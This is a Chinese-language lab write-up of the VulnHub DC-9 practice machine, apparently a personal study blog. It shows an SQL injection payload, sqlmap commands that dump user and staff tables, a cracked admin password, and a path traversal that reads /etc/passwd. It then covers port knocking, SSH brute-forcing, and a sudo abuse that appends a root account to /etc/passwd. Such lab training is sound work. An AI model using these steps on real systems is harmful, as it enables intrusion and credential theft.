【vulnhub靶机】DC-9 靶机练习 学习笔记
作者:Yshower | 发布时间:
靶机信息
获取链接:DC:9


过程

- 分析:因为处于虚拟机环境中可以排除“.1”,“.2”,“.254”,最终可以确定目标机为“10.10.10.131”
分析:可以看出靶机操作系统为基于Debian的Linux,并且检测出两个端口,其中80端口为开放状态,22端口流量被过滤状态。
- 注:80端口为http服务默认端口,22端口为ssh服务默认端口。
首先查看其http服务,进入其网页查看可发现的信息,进入后可以发现其网页为一个员工管理系统,其中有四个标签,我们一个个分析查看



- 分析:
-
-
第二个标签有员工信息,对应文件为display.php,可能有可用信息。
-
第三个标签有一个搜索框,对应文件为search.php,这可能是一个注入点。
-
1' or 1=1 #
sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -dbs

- 分析:这里我们可以看出其数据库里有三个库,库名分别为“information_schema”、“Staff”、“users”。
sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D users -tables
分析:可以看出users库中有一个UserDetails表。
sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D users -T UserDetails -dump
分析:此时表中数据已经爆出,按照我的习惯,先将其数据复制到一个userdatax.txt文件中暂时保留数据。
sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D Staff -tables
分析:其中两个表,“StaffDetails”和“Users”。
sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D Staff -T StaffDetails -dump
分析:此数据表中存放着员工的数据。
sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D Staff -T Users -dump
分析:此表里有一个admin账户和密码,但是密码是加密的,首先想办法加密,看字段猜测是md5加密。
尝试md5解密。
分析:解密出来了,密码为:transorbital1
登录一下后台试试看。

分析:已经登录进来,可以看出多了一个【Add Record】选项,直接点击该选项,并没有什么有用的东西,看到下面有一句话File does not exist
?file=../../../../etc/passwd
分析:发现的确返回了/etc/passwd文件。
但是到这里发现没有点继续进行下去了,然后再次整理一下前面获取的信息,发现22端口流量是被过滤的,我们可以猜测可能是存在knockd服务,查看一下/etc/knockd.conf
分析:注意knockd.conf文件中的的sequence值,可以使用它们进行敲门。
使用nmap分别对7469,8475,9842端口进行敲门,然后再扫描一下端口。

分析:这时候我们可以看到22端口已经开放了。
这时候我们将之前users库里面UserDetails表中的”username“和”password“字段分别编成user字典和pass字典。


分析:可以看出爆破出三个用户名和密码。
分别远程登录进去查看家目录下文件。
分析:可以看出janitor用户下面多出一个目录。
进入目录查看一下。
发现那个目录下有一个文件,查看后发现好像是几个账户密码。
我们将这几个密码加入到之前的密码字典中,再次爆破一下。
分析:这时候我们发现一个新的用户。
sudo -l

分析:可以看出新用户家目录下没有什么但是有一个脚本文件可以无密码使用root权限执行。
进入目录查看有什么可执行文件。
分析:在/opt/devstuff目录下有一个python脚本文件,查看后发现这是一个写入文件脚本,生成密码用root权限执行脚本写入/etc/passwd
openssl passwd -1 -salt admin1 admin1,然后在靶机中进入/opt/devstuff/dist/test目录中,使用echo命令在/tmp目录下创建一个文件,命令为echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test0,然后使用命令sudo ./test /tmp/test0 /etc/passwd
然后通过su命令进入我们添加的用户admin1。

进入root家目录查看,发现flag。



